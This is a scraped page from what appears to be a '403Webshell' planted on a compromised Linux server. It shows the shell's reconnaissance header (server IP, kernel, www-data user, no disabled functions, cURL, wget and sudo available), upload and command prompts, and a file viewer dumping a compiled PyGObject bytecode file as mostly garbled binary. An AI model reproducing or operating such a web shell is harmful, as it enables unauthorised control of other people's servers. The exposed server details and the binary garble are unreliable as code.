403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.71
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/gi/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/gi/__pycache__/importer.cpython-312.pyc
�

��f$���ddlZddlZddlZddlmZddlZddlmZmZddlm	Z	ddl
mZddlm
Z
ej�ZiZed��Zd	�ZGd
�de�Zy)�N)�contextmanager�)�
Repository�RepositoryError)�PyGIWarning)�get_introspection_module)�load_overridesc#��K�tj|�}d��|ry|dvrytj|��ytj	|�}tjd||d�zt|��y�w)aOA context manager which tries to give helpful warnings
    about missing gi.require_version() which could potentially
    break code if only an older version than expected is installed
    or a new version gets introduced.

    ::

        with _check_require_version("Gtk", stacklevel):
            load_namespace_and_overrides()
    N)�GLib�GObject�Gioz�%(namespace)s was imported without specifying a version first. Use gi.require_version('%(namespace)s', '%(version)s') before import to ensure that the right version gets loaded.)�	namespace�version��
stacklevel)�
repository�
is_registered�gi�get_required_version�get_version�warnings�warnr)rr�
was_loadedrs    �-/usr/lib/python3/dist-packages/gi/importer.py�_check_require_versionr*sz�����)�)�)�4�J�	��	��.�.��	���y�)�5���$�$�Y�/�G��M�M�	?�"�g�
6�	7�	�
�,�s�A0A2c�v�tjdd}|dkr|rdSdS|dk(r|rdSdS|dk(r|rdSdS|rdSdS)	a2Returns the stacklevel value for warnings.warn() for when the warning
    gets emitted by an imported module, but the warning should point at the
    code doing the import.

    Pass import_hook=True if the warning gets generated by an import hook
    (warn() gets called in load_module(), see PEP302)
    N�)�r�)rr��
)rr)�sys�version_info)�import_hook�
py_versions  r�get_import_stacklevelr&Qsd���!�!�"�1�%�J��V���q�&�Q�&�	�v�	��q�'�R�'�	�v�	� �r�'�a�'� �q�&�Q�&�c�4�eZdZd�Zd�Zdd�Zd	d�Zd�Zd�Zy)
�DynamicImporterc��||_y�N)�path)�selfr,s  r�__init__zDynamicImporter.__init__ks	����	r'c��|j|j�sy|jdd�\}}||jk(S)NF�.r)�
startswithr,�rsplit)r-�fullnamer,rs    r�_find_module_checkz"DynamicImporter._find_module_checkns:���"�"�4�9�9�-��"�/�/�#�q�1���i��t�y�y� � r'Nc�f�|j|�r tjj||�Syr+)r4�	importlib�util�spec_from_loader)r-r3r,�targets    r�	find_speczDynamicImporter.find_specus,���"�"�8�,��>�>�2�2�8�T�B�B�-r'c�*�|j|�r|Syr+)r4)r-r3r,s   r�find_modulezDynamicImporter.find_moduleys���"�"�8�,��K�-r'c��|jjdd�\}}tj|�s#tj	|�std|z��t
d��}t||��5	t|�}tj|�D],}tjd|jd�d	z��.t|�}ddd�|S#t$r}t|��d}~wwxYw#1swYSxYw)
Nr0rz6cannot import name %s, introspection typelib not foundT)r$rzgi.repository.�-r)�namer2rr�enumerate_versions�ImportErrorr&rrr�get_immediate_dependenciesr6�
import_module�splitr	)	r-�specr,rr�introspection_module�e�dep�dynamic_modules	         r�
create_modulezDynamicImporter.create_module}s���)�)�*�*�3��2���i�
�'�'�	�2��-�-�i�8��@�BK�L�M�
M�+�t�<�
�
#�I�*�
E�
	B�
%�'?�	�'J�$�"�<�<�Y�G�
N���'�'�(8�3�9�9�S�>�!�;L�(L�M�
N�+�,@�A�N�
	B����#�
%�!�!�n�$��
%��
	B���s1�1C3�3C�>AC3�	C0� C+�+C0�0C3�3C=c��yr+�)r-r3s  r�exec_modulezDynamicImporter.exec_module�s��r')NNr+)	�__name__�
__module__�__qualname__r.r4r:r<rJrMrLr'rr)r)gs!���!�C���4
r'r))r"rr6�
contextlibrr�_girrr�moduler�	overridesr	�get_defaultr�modulesrr&�objectr)rLr'r�<module>rXsa��0���%�	�,��,�%�$�Z�
#�
#�
%�
�
���#,��#,�L'�,2
�f�2
r'

Youez - 2016 - github.com/yon3zu
LinuXploit